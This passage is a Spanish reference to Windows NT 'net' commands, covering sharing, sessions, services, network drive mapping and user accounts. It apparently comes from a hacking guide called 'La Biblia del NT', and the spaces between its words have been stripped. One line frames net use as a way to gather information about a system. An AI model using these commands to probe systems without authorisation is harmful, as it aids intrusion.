netlocalgroupejec/comment:"Plantilladeejecutivos."

>NetName:
Agregaoeliminaunnombreparamensajes(avecesllamadoalias),o
muestralalistadenombresparalosqueelequipoaceptaramensajes.
Parapoderusarnetname,elserviciodeMensajeriadebeestaren
ejecucion.
netname[nombre[/add|/delete]]

Parametros

ninguno
Escribanetnamesinparametrosparamostrarunalistadelosnombres
actualmenteenuso.
nombre
Especificaelnombrequerecibemensajes.Dichonombrepuedetenerun
maximode15caracteres.
/add
Agregaunnombreaunequipo.Escribir/ddesopcionalpuestoqueel
resultadodeescribirnetnamenombreeselmismoqueeldeescribir
netnamenombre/add.
/delete
Quitaunnombredeunequipo.

Ejemplos

Paraverlalistadenombresensuequipo,escriba:
netname
Paraagregarelnombrersvpasuequipo,escriba:
netnamersvp
Paraquitarelnombrervspdesuequipo,escriba:
netnamersvp/delete

Notas

Useelcomandonetnameparaespecificarunnombreparalarecepcionde
mensajes.Parapoderusarestecomando,debehaberseiniciadoel
servicioMensajeria.Cadanombredemensajeriadebeserunicoenla
red.Losnombrescreadosconnetnamesedestinanestrictamentea
mensajesestosnombresnosongrupos.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

23/83

27/11/2014

LaBibliadelNT

WindowsNTusatrestiposdenombres:
1.Cualquiernombreparamensajeria,queseagregaconnetname.
2.Elnombredeequipodelequipo,queseagregaaliniciarel
servicioEstaciondetrabajo.
3.Sunombredeusuario,queseagregacuandoinicialasesion,
suponiendoquesunombrenoseesteusandocomonombrede
mensajeriaenotrapartedelared.

>NetPause:
Interrumpelosserviciosenejecucion.
netpauseservicio

Parametros

servicio
Puedeser:
1.ServidordearchivosparaMacintosh(soloenWindowsNTServer)
2.ServiciodepublicaciondeFTP
3.LPDSVC
4.Iniciodesesiondered
5.DDEdered
6.DSDMDDEdered
7.ProveedordeseguridadLanManagerdeNT
8.Inicioremoto(soloenWindowsNTServer)
9.Servidordeaccesoremoto
10.Shedule
11.Servidor
12.Serviciossimplesdetcp/ip
13.Estaciondetrabajo.

Ejemplos

ParainterrumpirelservicioServidor,escriba:
netpauseserver
ParainterrumpirelservicioIniciodesesiondered,escriba:
netpause"netlogon"

Notas

Enunservidor:
Useelcomandonetpauseantesdedetenerunservicioparapermitir
quelosusuariosfinalicensutrabajoosedesconectendelos
recursos.Hacerunapausaenunserviciolointerrumpe
momentaneamente,peronoeliminaelsoftwaredelamemoria.Los
usuariosqueestanconectadosaunrecursopuedenfinalizarsus
tareas,peronopodranefectuarnuevasconexionesadichorecurso.
Sipiensadetenerunservicioqueafectaarecursoscompartidos,
primerointerrumpalo,luegoenvieunmensajeconelcomandonetsend
paraavisardedichadetenciondespuesdeunlapsosuficientepara
quelosusuariosterminendeusarelservicio,detengalousandoel
comandonetstop.
Paravolveraactivarunserviciointerrumpido,useelcomandonet
continue.

Enuncliente:
Useloscomandosnetpauseynetcontinueparapasardelas
impresorasderedalasimpresorasconectadasasuestacionde
trabajo.

Tantoenunservidorcomoenuncliente:
Nosepuedeninterrumpirtodoslosservicios.

LapausaafectaalosserviciosdeWindowsNTdelassiguientesformas:
1.Lapausadelservicioiniciodesesionderedimpidequeelequipo
proceselaspeticionesdeiniciodesesion.Sieldominiotiene
otrosservidoresdeiniciodesesion,losusuariospodraniniciar
susesionenlared.
2.LapausadelservicioServidorimpidequelosusuariosestablezcan
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

24/83

27/11/2014

LaBibliadelNT

nuevasconexionesconlosrecursoscompartidosdeestey,sinohay
otrosservidoresdeiniciodesesionenlared,impidequelos
usuariosiniciensusesionenlared.Estonoafectaaunaconexion
existente.Losadministradorespuedenestablecerconexionesconel
servidoraunuqeelservicioesteinterrumpido.
3.LapausadelejercicioEstaciondetrabajomantieneelnombrede
usuario,lacontrase~aylasconexionesdefinidas,perodirigelas
peticionesdeimpresionalasimpresorasconectadasalequipo,en
lugardehacerloaalasimpresorasconectadasalared.

>NetPrint:
Muestraocontrolalostrabajosylascolasdeimpresion.
netprint\\nombre_equipo\recurso_compartido
netprint[\\nombre_equipo]trabajo_n[/hold|/release|/delete]

Parametros

nombre_equipo
Eselnombredelequipoquecompartelascolasdeimpresion.
recurso_compartido
Eselnombredelacoladeimpresion.Cuandoincluya
recurso_compartidoynombre_equipo,separelosconunabarrainvertida
(\).

trabajo_n
Eselnumerodeidentificacionasignadoauntrabajodeimpresionen
unacola.Unequipoconunaomascolasdeimpresionasignaacada
trabajounnumerounico.Siseestausandounnumerodetrabajoen
unacolacompartidaporunequipo,dichonumeronoseasignaraa
ningunotrotrabajo,nisiquieraaotrascolasdeeseequipo.
/hold
Cuandoseusacontrabajo_n,retieneeltrabajoenesperaenlacola
deimpresion.Eltrabajopermaneceenlacolaylosdemastrabajoslo
rebasaranhastaqueselibere.
/release
Liberauntrabajoounacoladeimpresionqueseharetenido.
/delete
Quitauntrabajodelacoladeimpresion.

Ejemplos

Paraobtenerinformacionacercadeltrabajonumero35delequipo
\\PRODUCCION,escriba:
netprint\\produccion35
Pararetenereltrabajonumero263delequipo\\PRODUCCION,escriba:
netprint\\produccion263/hold
Paraliberareltrabajonumero263delequipo\\PRODUCCION,escriba:
netprint\\produccion263/release
ParaobtenerunalistadelcontenidodelacoladeimpresionMATRIZdel
equipo\\PRODUCCION,escriba:
netprint\\produccion\matriz

Notas

Elcomandonetprintmuestrainformacionendistintosformatosacerca
delascolasdeimpresion.
Puedehacerquesepresenteunacolaenparticularusando:
netprint\\nombre_equipo\recurso_compartido
Losiguienteesunejemplodelainformacionpresentadadetodaslas
colasdeimpresion:

Colasdeimpresoraen\\PRODUCCION
NombreTrabajoNo.Tama~oEstado

ColaLASER1trabajos*Colaactiva*
1trabajos0encola

Usenetprinttrabajo_nparamostrarununicotrabajodeimpresion.
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

25/83

27/11/2014

LaBibliadelNT

Apareceraunapantallasimilaralasiguiente:
TrabajoNo.35
EstadoEsperando
Tama~o3096
Comentario
UsuarioMARIASL
NotificarMARIASL
Tipodedatodeltrabajo
Parametrosdeltrabajo
Informacionadicional

>NetSend:
Enviamensajesaotrosusuarios,equipos,gruposonombresparamensajes
enlared.Elserviciomensajeriadebeestarenejecucionparapoder
recibirmensajes.
netsend{nombre|*|/domain[:nombre]|/users}mensaje

Parametros

nombre
Eselnombredeusuario,deequipoonombreparamensajesalquese
enviaelmensaje.Sisetratadeunnombredeequipoquecontiene
caracteresenblanco,escribaloentrecomillas("").
*
Enviaelmensajeatodoslosnombresdelgrupo.

/domain[:nombre]
Enviaelmensajeatodoslosnombresdeldominiodelequipo.Sise
especificanombre,seenviaraelmensajeatodoslosnombresdel
dominioogrupodetrabajoespecificado.
/users
Enviaelmensajeatodoslosusuariosconectadosalservidor.
mensaje
Eseltextoqueseenviaracomomensaje.

Ejemplos

Paraenviarelmensaje"Reunioncambiadaalas15horas.Enelmismo
lugar."alusuariorobertof,escriba:
netsendrobertofReunioncambiadaalas15horas.Enelmismolugar.
Paraenviarunmensajeatodoslosusuariosconectadosalservidor,
escriba:
netsend/usersEsteservidorseapagaraen5minutos.
Paraenviarunmensajequeincluyaunabarradiagonal,escriba:
netsendrobertof"FormateartudiscoconFORMAT/4"

Notas

Solosepuedeenviarunmensajeaunnombrequeesteactivoenlared.
Siloenviaaunnombredeusuario,estedebehaberiniciadouna
sesionyestarejecutandoelserviciomensajeriapararecibirel
mensaje.
Enviarmensajesavariosusuarios
WindowsNTproporcionavariosmetodosparatransmitirmensajes.
Puedehacerloatodoslosnombresdeldominiodesuequipo(con*o
/domain)oaotrodominiodiferente(/domain:nombre).Losmensajes
transmitidospuedentenerhasta128caracteres.
Laopcion/userspermiteenviarunmensajeatodoslosusuariosque
tienensesionesenelservidor.Losparametrosqueenvianmensajes
avariosusuariosdebenusarseconprecaucion.

>NetSession:

Muestralalistaodesconectalassesionesentreunequipolocalylos
clientesconectadosael.
netsession[\\nombre_equipo][/delete]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

26/83

27/11/2014

LaBibliadelNT

Parametros

ninguno
Escribanetsessionsinparametrosparaquesemuestreinformacion
acercadetodaslassesionesconelequipolocal.
\\nombre_equipo
Identificaelequipoparaelcualsemostraranodesconectaran
sesiones.
/delete
Finalizalasesiondelequipocon\\nombre_equipoycierratodoslos
archivosabiertosenelequipoparalasesion.Siseomite
\\nombre_equipo,secancelarantodaslassesionesdelequipolocal.

Ejemplos

Paramostrarunalistaconinformacionsobrelassesionesdelservidor
local,escriba:
netsession
Paramostrarinformacionsobrelassesionesdelclientecuyonombrede
equipoesSANCHEZ,escriba:
netsession\\sanchez
Parafinalizartodaslassesionesentreelservidorylosclientes
conectados,escriba:
netsession/delete

Notas

Elcomandonetsessionpuedeescribirsetambiencomonetsessionsonet
sess.
Useelcomandonetsessionparaverenpantallalosnombresdeequipo
ynombresdeusuariodeaquellosusuariosquetienenaccesoaun
servidor,sitienenarchivosabiertosycuantotiempohapermanecido
inactivalasesiondecadaunodeellos.
Lapantallaessimilaralasiguiente:

EquipoUsuarioTipodeclienteAbiertoInactiva

\\BASSETTCRISDRNT100:00:13
\\SANZCAAdministradorDOSLM2.1001:05:13

Paramostrarlasesiondeunusuario,incluya\\nombre_equipoconel
comando.Lapresentaciondeununicousuarioincluyeunalistadelos
recursoscompartidosconlosqueelusuariotieneconexiones.
Unasesionquedaregistradacuandounusuariodeunclienteentraen
contactoconunservidor.Estoocurrecuandolosdossistemasestanen
lamismaredyelservidoraceptaelnombreylacontrase~adel
usuario.Unusuariodeunclientedebetenerunasesioniniciadaenel
servidorantesdepoderusarlosrecursoscompartidosdelmismouna
sesionnoseestablecehastaqueelusuariodeunclienteseconectaa
unrecurso.Entreunclienteyunservidorsolopuedeexistiruna
sesion,peropuedehabervariospuntosdeentrada,oconexiones,alos
recursos.
Paradeterminareltiempoquepuedepermanecerinactivaunasesion
antesdequesedesconecteautomaticamente,activelacaracteristica
autodisconnectconlaopcion/autodisconnectdelcomandonetconfig
server.Elusuarionointervieneenestetipodedesconexion,puesto
queWindowsNTreanudaautomaticamentelaconexionencuantoelusuario
vuelveausarelrecurso.
Parafinalizarunasesionconelservidor,uselaopcion/deletejunto
con\\nombre_equipo.

>NetShare:
Crea,eliminaomuestrarecursoscompartidos.
netsharerecurso_compartido
netsharerecurso_compartido=unidad:ruta_de_acceso
[/users:numero|/unlimited][/remark:"texto"]
netsharerecurso_compartido[/users:numero|unlimited]
[/remark:"texto"]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

27/83

27/11/2014

LaBibliadelNT

netshare{recurso_compartido|unidad:ruta_de_acceso}/delete

Parametros

ninguno
Escribanetsharesinparametrosparamostrarinformacionacercade
todoslosrecursoscompartidosenelequipolocal.
recurso_compartido
Eselnombredereddelrecursocompartido.Escribanetshareconun
recurso_compartidounicamenteparamostrarinformacionacercade
dichorecursocompartido.
unidad:ruta_de_acceso
Especificalarutadeaccesoabsolutadeldirectorioquevaa
compartirse.
/users:numero
Estableceelnumeromaximodeusuariosquepuedenteneracceso
simultaneamentealrecursocompartido.
/unlimited
Especificaquepuedeteneraccesosimultaneamentealrecurso
compartidounnumeroilimitadodeusuarios.
/remark:"texto"
Agregauncomentariodescriptivoacercadelrecurso.Escribaeltexto
entrecomillas.
/delete
Dejadecompartirunrecurso.

Ejemplos

Paramostrarinformacionacercadelosrecursoscompartidosenel
equipo,escriba:
netshare
ParacompartireldirectorioC:\CARTASdeunequipoconelnombre
compartidoSECRETARIAeincluiruncomentario,escriba:
netsharesecretaria=c:\cartas/remark:"Paraeldepartamento123."
ParadejardecompartireldirectorioCARTAS,escriba:
netsharesecretaria/delete
ParacompartireldirectorioC:\LSTFIGdeunequipoconelnombre
compartidoLISTA,escriba:netsharelista="C:\lstfig"

Notas

Useelcomandonetshareparacompartirrecursos.
Paracompartirundirectorioconunarutadeaccesoquecontieneun
caracterenblanco,escribalaunidadylarutadeldirectorioentre
comillas("").
Cuandosemuestrantodoslosrecursoscompartidosdeunequipo,Windows
NTindicaelnombradelrecursocompartido,elnombreonombresde
dispositivoorutasdeaccesoasociadasconelrecursoyuncomentario
descriptivoacercadeeste.
Lapresentacionenpantallaessimilaralasiguiente:

NombreRecursoComentario

ADMIN$C:\WINNTAdminremota
C$C:\Usointerno
print$C:\WINNT\SYSTEM\SPOOL
IPC$IPCremota
LASERLPT1EncolaImpresoralaser

Losrecursoscompartidosdeunservidorseguardanamedidaquese
crean.CuandodetengaelservicioServidor,todoslosrecursos
compartidossedesconectaran,perosevolveranaconectar
automaticamenteencuantovuelvaainiciarseelservicioocuandose
reinicieelequipo.

>NetStart:
Iniciaunservicioomuestraunalistadelosserviciosiniciados.Los
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

28/83

27/11/2014

LaBibliadelNT

nombresdeserviciosquesondedosomaspalabras,comoiniciode
sesionderedoExaminadordeequipos,debenestarentrecomllas("").
netstart[servicio]

Parametros

ninguno
Escribanetstartsinparametrosparamostrarunalistadelos
serviciosenejecucion.
servicio
Puedeser:
1.Alerta
2.Serviciodeclienteparanetware
3.ServidordelPortafolio
4.Examinadordeequipo
5.Clientedhcp
6.Duplicadordedirectorios
7.Registrodesucesos
8.ServiciodepublicaciondeFTP
9.LPDSVC
10.Mensajeria
11.Iniciodesesion
12.DDEdered
13.DSDMDDEdered
14.Agentedesupervisiondered
15.Proveedordeseguridadntlm
16.OLE
17.Administradordeconexionesdeaccesoremoto
18.Servidordeaccesoremoto
19.Localizadordellamadaaprocedimientosremotos(rpc)
20.Serviciodellamadaaprocedimientosremotos
21.Schedule
22.Servidor
23.Serviciossimplesdetcp/ip
24.SNMP
25.Spooler
26.AyudadeNetBIOSdetcp/ip
27.SAI
28.Estaciondetrabajo
LossiguientesserviciossoloestandisponiblesenWindowsNTServer:
1.ServidordearchivosparaMacintosh
2.Servidordepuertadeenlaceogatewayparanetware
3.ServidordeDHCPdeMicrosoft
4.ServidordeimpresionparaMacintosh
5.Inicioremoto
6.ServiciodenombresInternetdewindows

Notas

UseelcomandonetstartservicioparainiciarunserviciodeWindows
NT.Algunosserviciosdependendeotrosservicios.
PuedeutilizarlaopcionServiciosenelPaneldecontrolpara
configurarelinicioyladetencionautomaticadelosservicios.Esta
opciontambienlepermitedetener,iniciar,interrumpirycontinuarlos
serviciosderedmanualmente.
Losnombresdeserviciosqueconstandedosomaspalabras,comoInicio
desesionderedoExaminadordeequipos,debenestarentrecomillas
("").
Estecomandotambieninicialosserviciosderedquenoestanincluidos
enWindowsNT.
Losserviciosquepuedeniniciarseson:
NetStart"Administradordeconexionesdeaccesoremoto"
NetStart"Agentedesupervisindered"
NetStart"AyudadeNetBIOSdeTCP/IP"
NetStart"ClientedeDHCP"
NetStart"DDEdered"
NetStart"Duplicadordedirectorios"
NetStart"Estaciondetrabajo"
NetStart"Examinadordeequipos"
NetStart"Iniciodesesindered"
NetStart"Inicioremoto"
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

29/83

27/11/2014

LaBibliadelNT

NetStart"Localizadorderpc"
NetStart"ProveedordeseguridadNTLM"
NetStart"Registrodesucesos"
NetStart"ServiciodeclienteparaNetWare"
NetStart"Serviciodellamadaaprocedimientosremotos(RPC)"
NetStart"ServiciodenombresInternetdeWindows"
NetStart"ServiciodepublicacindeFTP"
NetStart"ServiciodepuertadeenlaceogatewayparaNetWare"
NetStart"ServicioISNSAPdeaccesoremoto"
NetStart"ServicioSchedule"
NetStart"ServiciossimplesdeTCP/IP"
NetStart"Servidordeaccesoremoto"
NetStart"ServidordearchivosparaMacintosh"
NetStart"Servidordeddedered"
NetStart"ServidordeimpresionparaMacintosh"
NetStart"ServidordePortafolio"
NetStart"ServidorDHCPdeMicrosoft"
NetStartAlerta
NetStartLpdsvc
NetStartMensajeria
NetStartSai
NetStartServidor
NetStartSnmp
NetStartSpooler

>NetStadistics:
MuestraelregistrodeestadisticasdelserviciolocalEstacionde
trabajooServidor.
netstatistics[workstation|server]

Parametros

ninguno
Escribanetstadisticssinparametrosparaobtenerunalistadelos
serviciosenejecucionparaloscualeshaydatosestadisticos
disponibles.
workstation
MuestralosdatosestadisticosdelserviciolocalEstacionde
trabajo.
server
MuestralosdatosestadisticosdelserviciolocalServidor.

Ejemplos

Paramostrarlosserviciosenejecucionparalosquehayestadisticas
disponibles,escriba:
netstats
Paramostrarlasestadisticasdelservicioservidoryevitarquese
desplaceporlapantalla,escriba:
netstatisticsserver|more

Notas

Estecomandopuedeescribirsetambiencomonetstats.
Useelcomandonetstadisticsparamostrarinformacionsobreel
rendimientodelservicioespecificado.

Elservicioservidor:
WindowsNTindicaelnombredeequipo,lafechayhoraenquese
actualizaronporultimavezlasestadisticas,yproporcionala
siguienteinformacion:
1.Elnumerodesesionesqueseiniciaron,sedesconectaron
automaticamenteysedesconectaronacausadeerror.
2.Elnumerodekilobytesenviadosyrecibidos,yeltiempomediode
respuestadelservidor.
3.Elnumerodeerroreseinfraccionesdecontrase~aylimitesde
permiso.
4.Elnumerodevecesqueseusaronlosarchivos,impresorasy
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

30/83

27/11/2014

LaBibliadelNT

dispositivosdecomunicacionescompartidos.
5.Elnumerodevecesqueseexcedioeltama~odelbuferdememoria.

ElservicioEstaciondetrabajo:
WindowsNTindicaelnombredeequipodelequipo,lafechayhoraen
queseactualizaronporultimavezlasestadisticas,yproporcionala
siguienteinformacion:
1.ElnumerodebytesySMBrecibidosytransmitidos.
2.Elnumerodeoperacionesdelecturayescrituralogradaso
fallidas.
3.Elnumerodeerroresenlared.
4.Elnumerodesesionesfallidas,desconectadasoconectadas
nuevamente.
5.Elnumerodeconexionesarecursoscompartidoslogradaso
fallidas.

>NetStop:
DetieneunserviciodeWindowsNT.
netstopservicio

Parametros

servicio
Puedeseralerta,serviciodeclienteparanetware,Servidordel
Portafolio,examinadordeequipos,duplicadordedirectorios,
serviciodepublicaciondeFTP,lpdsvc,mensajeria,iniciodesesion
dered,ddedered,dsdmdered,agentedesupervisiondered,
proveedordeseguridadntlm,ole,administradordeconexionesde
accesoremoto,servicioisnsapdeaccesoremoto,servidordeacceso
remoto,localizadordellamadaaprocedimientosremotos(rpc),
schedule,servidor,serviciossimplesdetcp/ip,snmp,spooler,
ayudadeNetBIOSdetcp/ip,saiyestaciondetrabajo.
LossiguientesserviciossoloestandisponiblesenWindowsNT
Server:servidordearchivosparamacintosh,serviciodepuertade
enlaceogatewayparanetware,servidordhcpdemicrosoft,servidor
deimpresionparamacintosh,serviciodenombresinternetde
windows.

Notas

Detieneunservicioparasuprimirlafuncionquerealizaenlaredy
paraeliminarelsoftwaredelamemoria.
AldetenerelservicioServidorseimpidequelosusuariostengan
accesoalosrecursoscompartidosdelequipo.Sidetieneelservicio
Servidorcuandolosusuariosestanteniendoaccesoalosrecursos,
WindowsNTmostraraunmensajedeadvertenciapidiendoconfirmacion
antesdecancelarlasconexiones.Unarespuestaafirmativacancelara
todaslasconexionesconelequipo.
AntesdedetenerelservicioServidor,puedehacerlosiguiente:
1.Efectuarunapausaenelservicio(paranopermitirnuevas
conexiones)
2.Enviarunmensajeadvirtiendoalosusuariosdequedeben
desconectarsedelosrecursosdelservidor.
Netstoptambienpuededetenerserviciosderednosuministradoscon
WindowsNT.

>NetTime:
Sincronizaelrelojdelequipoconeldeotroequipoodominio.Sise
utilizasinlaopcion/set,muestralahoradeotroequipoodominio.
nettime[\\nombre_equipo|/domain[:nombre]][/set]

Parametros

\\nombre_equipo
Eselnombredelservidorquedeseecomprobaroconelquedesee
sincronizarlasestacionesdetrabajo.
/domain[:nombre]
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

31/83

27/11/2014

LaBibliadelNT

Eseldominioconelquedeseasincronizarlahora.
/set
Sincronizaelrelojdelequipoconeldelequipoodominio
especificado.

>NetUse:
Conectaodesconectaunequipodeunrecursocompartidoomuestra
informacionacercadelasconexionesdelequipo.Tambiencontrolalas
conexionesderedpersistentes.Comoveremosmasadelante,estecomando
esdeunagranimportanciaparaaveriguarinformacionsobreelsistema.
netuse[nombre_dispositivo]
[\\nombre_equipo\recurso_compartido[\volumen]]
[contrase~a|*]][/user:[nombre_dominio\]nombre_usuario]
[[/delete]|[/persistent:{yes|no}]]
netusenombre_dispositivo[/home[contrase~a|*]]
[/delete:{yes|no}]
netuse[/persistent:{yes|no}]

Parametros

ninguno
Escribanetusesinparametrosparaobtenerunalistadelas
conexionesdered.
nombre_dispositivo
Aignaunnombreparalaconexionalrecursooespecificael
dispositivoquesevaadesconectar.Haydostiposdenombresde
dispositivos:unidadesdedisco(DaZ)eimpresoras(LPT1ALPT3).
Escribaunasteriscoenlugardeunnombreespecificodedispositivo
paraasignarelsiguientenombrededispositivodisponible.
\\nombre_equipo\recurso_compartido
Eselnombredelservidorydelrecursocompartido.Sielnombrede
equipocontienecaracteresenblanco,escribalabarrainvertida
doble(\\)yelnombreentrecomillas("").Elnombredelequipo
puedetenerentre1y15caracteres.
\volumen
EspecificaunvolumenNetWaredelservidor.Parapoderconectarsecon
servidoresNetWaredebetenerinstaladoyestarejecutandoel
ServiciodeclienteparaNetWare(WindowsNTWorkstation)oel
serviciodepuertadeenlaceogatewayparaNetWare(WindowsNT
Server).
Contrase~a
Eslacontrase~anecesariaparateneraccesoalrecursocompartido.
*
Pideporlacontrase~a.Loscaracteresnosemuestranenpantallaa
medidaquelosescribe.
/user
Especificaunnombredeusuariodiferenteconelqueserealizala
conexion.
nombre_dominio
Especificaotrodominio.Porejemplo,
netused:\\servidor\recurso_compartido/user:admin\marioconectael
usuariomariodelamismaformaquesilaconexionserealizaradesde
eldominioadministrador.Siseomiteeldominio,seusaraaquelen
elquetengalugarlaconexionactual.
nombre_usuario
Especificaelnombredeusuarioconelqueseiniciaralasesion.
/home
Conectaaunusuarioconsudirectorioparticular.
/delete
Cancelalaconexionderedespecificada.Sielusuarioespecificala
conexionmedianteunasteriscosecancelarantodaslasconexionesde
red.
/persistent
Controlaelusodeconexionesderedpersistentes.Elvalor
predeterminadoeslaultimaconfiguracionutilizada.Lasconexiones
sindispositivosnosonpersistentes.
yes
Guardatodaslasconexionestalcomoserealizaronylasrestauraen
elsiguienteiniciodesesion.
no
Noguardalaconexionencursonilassiguientes.Lasexistentesse
restauraranenelsiguienteiniciodesesion.Useelmodificador
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

32/83

27/11/2014

LaBibliadelNT

/deleteparaeliminarconexionespersistentes.

Ejemplos

ParaasignarelnombrededispositivodeunidaddediscoE:al
directoriocompartidoCARTASdelservidor\\FINANCIERO,escriba:
netusee:\\financiero\cartas
ParaasignarelnombrededispositivodeunidaddediscoM:al
directorioMARIAdentrodelvolumenCARTASdelservidorNetWare
FINANCIERO,escriba:
netusem:\\financiero\cartas\mara
ParaasignarelnombrededispositivoLPT1alacoladeimpresora
compartidaLASER2delservidor\\CONTABILIDAD,escriba:
netuselpt1:\\contabilidad\lser2
ParadesconectarsedelacoladeimpresoraLPT1,escriba:
netuselpt1:/delete
ParaasignarelnombrededispositivodeunidaddediscoH:al
directorioparticulardelusuariomario,escriba:
netuseh:\\contabilidad\usuarios/home/user:mario
ParaasignarelnombrededispositivodeunidaddediscoF:al
directoriocompartidoNOTASdelservidor\\FINANCIERO,querequierela
contrase~ahctarcs,sinquelaconexionseapersistente,escriba:
netusef:\\financiero\notashctarcs/persistent:no
Paradesconectarsedeldirectorio\\FINANCIERO\NOTAS,escriba:
netusef:\\financiero\notas/delete
ParaconectarseaunrecursocompartidodelservidorFINANCIERO2,
escriba:
netusek:"\\financiero2"\circulares
Sielnombredelservidorincluyeunespacioenblanco,escribaloentre
comillasdelocontrario,WindowsNTmostraraunmensajadeerror.
Pararestaurarlasconexionesactualescadavezqueseinicieuna
sesion,independientementedecambiosfuturos,escriba:
netuse/persistent:yes

Notas

Utiliceelcomandonetuseparaefectuarlaconexionodesconexionde
unrecursodelaredyparaversusconexionesactualescondichos
recursos.Esimposibledesconectarsedeundirectoriocompartidosise
utilizacomounidadactualosiestaenusoporunprocesoactivo.
Hayvariasformasdeobtenerinformacionacercadeunaconexion:
1.Escribanetusenombre_dispositivoparaobtenerlainformacion
acercadeunaconexionespecifica.
2.Escribanetuseparaobtenerunalistadetodaslasconexiones
delequipo.

Conexionessindispositivos
Lasconexionessindispositivosnosonpersistentes.
ConexionconservidoresNetWare
UnavezqueelsoftwareServiciodeclienteparaNetWareoServiciode
puertadeenlaceogatewayparaNetWareestainstaladoyenejecucion,
podraconectarseaunservidorNetWareenunarednovell.Utilicela
mismasintaxisquealconectarseaunservidordereddeWindows,
exceptoquedebeincluirelvolumenconelquedeseaconectarse.

>NetUser:
Agregaomodificacuentasdeusuarioomuestrainformacionacercade
ellas.
netuser[nombre_usuario[contrasea|*][opciones]][/domain]
netusernombre_usuario{contrasea|*}/add[opciones][/domain]
netusernombre_usuario[/delete][/domain]

Parametros

ninguno
Escribanetusersinparametrosparaverunalistadelascuentasde
usuariodelequipo.
nombre_usuario
Eselnombredelacuentadeusuarioquesedeseaagregar,eliminar,
modificarover.Elnombredelacuentadeusuariopuedetenerhasta
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

33/83

27/11/2014

LaBibliadelNT

20caracteres.
contrase~a
Asignaocambiaunacontrase~aparalacuentadeusuario.Una
contrase~adebetenerlalongitudminimaestablecidaconlaopcion
/minpwlendelcomandonetaccountsypuedetenerunmaximode14
caracteres.
*
Pidelacontrase~a.Loscaracteresnosemuestranenpantallaa
medidaquelosescribe.
/domain
Realizalaoperacionenelcontroladorprincipaldeldominio
principaldelequipo.
EsteparametroseaplicaunicamenteaequiposconWindowsNT
WorkstationquesonmiembrosdeundominiodeWindowsNTServer.De
formapredeterminada,losequiposconWindowsNTServerrealizanlas
operacionesenelcontroladorprincipaldedominio.
NOTA:Estaaccionsellevaacaboenelcontroladorprincipaldel
dominioprincipaldelequipo.Puedequenoseinicielasesion
eneldominio.
/add
Agregaunacuentadeusuarioalabasededatosdecuentasde
usuario.
/delete
Quitaunacuentadeusuariodelabasededatosdecuentasde
usuario.

Opciones

/active:{no|yes}
Desactivaoactivalacuentadeusuario.Sinoestaactiva,el
usuarionopuedeteneraccesoalosrecursosdelequipo.Elvalor
predeterminadoesyes(activa).
/comment:"texto"
Proporcionauncomentariodescriptivoacercadelacuentadeusuario.
Puedehastatener48caracteres.Escribaeltextoentrecomillas.
/countrycode:nnn
Usaloscodigosdepaisdelsistemaoperativoparainstalarlos
archivosdeayudaymensajesdeerrorenelidiomaespecificado.Un
valor0significaelcodigodepaispredeterminado.
/expires:{fecha|never}
Elparametrofechaestableceunafechadecaducidaddelacuentade
usuario,mientrasqueneverdeterminaunaduracionilimitadadedicha
cuenta.Lasfechasdecaducidadpuedendarseenelformatomm/dd/aao
mm,dd,aa,dependiendode/countrycode.Observequelacuentacaduca
alcomienzodelafechaespecificada.Losmesespuedenindicarsecon
unnumero,contodassusletrasoabreviadoscontresletras.Los
a~ospuedenconstardedosocuatrodigitos.Utilicecomasobarras
diagonalesparasepararporpartesdelafecha(noespaciosen
blanco).Siseomiteaa,seasumeela~odelasiguientefecha(de
acuerdoconlafechayhoradesuequipo).Porejemplo,las
siguientesentradasdefechasonequivalentessiseintroducen
entreel10deenerode1994yel8deenerode1885.
jan,9/9/95,9,1995/9
/fullname:"nombre"
Agregaundeterminadonombrealusuarioenlugardesunombrede
usuarionormal.Escribadichonombreentrecomillas.
/homedir:ruta_acceso
Establecelarutadeaccesodeldirectorioparticulardelusuario.
Dicharutadebeserunayaexistente.
/homedirreq:{yes|no}
Establecesiesnecesarioundirectorioparticular.
/passwordchg:{yes|no}
Especificasilosusuariospuedencambiarsucontrase~a.Elvalor
predeterminadoesyes.
/passwordreq:{yes|no}
Especificasiunacuentadeusuariodebetenerunacontrase~a.El
valorpredeterminadoesyes.
/profilepath[:ruta_acceso]
Estableceunarutadeaccesoparaelperfildeiniciodesesiondel
usuario.Dicharutallevaaunperfilderegistro.
/scriptpath:ruta_acceso
Estableceunarutadeaccesoalarchivodecomandosdeiniciode
sesiondelusuario.Ruta_accesonopuedeserunarutaabsolutaes
file:///C:/Users/rracca/AppData/Local/Temp/Temp1_hacknt1.zip/hacknt1.htm

34/83

27/11/2014

LaBibliadelNT

relativaa%raiz_sistema%\SYSTEM32\REPL\IMPORT\SCRIPTS.
/times:{horas|all}
Especificalashorasenlasquesepermitealusuarioelusodel
equipo.Elvalorhorasseexpresacomodia.
[dia][,dia[dia]],hora[hora][,hora[hora]],limitadoaincrementos
deunahora.Losdiassepuedendeletrearoabreviar(L,M,Mi,J,V,
S,D).Lashorassepuedenescribirenformatode12o24horas.Para
elformatode12horas,useAM,PM,OA.M.,P.M.Elvalorall
significaqueunusuariopuedeiniciarunasesionencualquier
momento.Unvalornulo(enblanco)significaqueunusuarionunca
puedeiniciarlasesion.Separealdiaylahoramediantecomas,y
lasunidadesdediayhoraconpuntoycoma(porejemplo,
L,4AM5PMM,1AM3PM).Nouseespaciosenlaespecificacionde/times.
/usercomment:"texto"
Permitequeunadministradoragregueocambieel"Comentariode
usuario"delacuenta.Escribaeltextoentrecomillas.
/workstations:{nombre_equipo[,...]|*}
Listadehastaochoestacionesdetrabajodesdelasqueunusuario
puedeiniciarunasesionenlared.Separelosnombresdelas
estacionesconunacoma.Si/workstationnoesunalistaoestaes
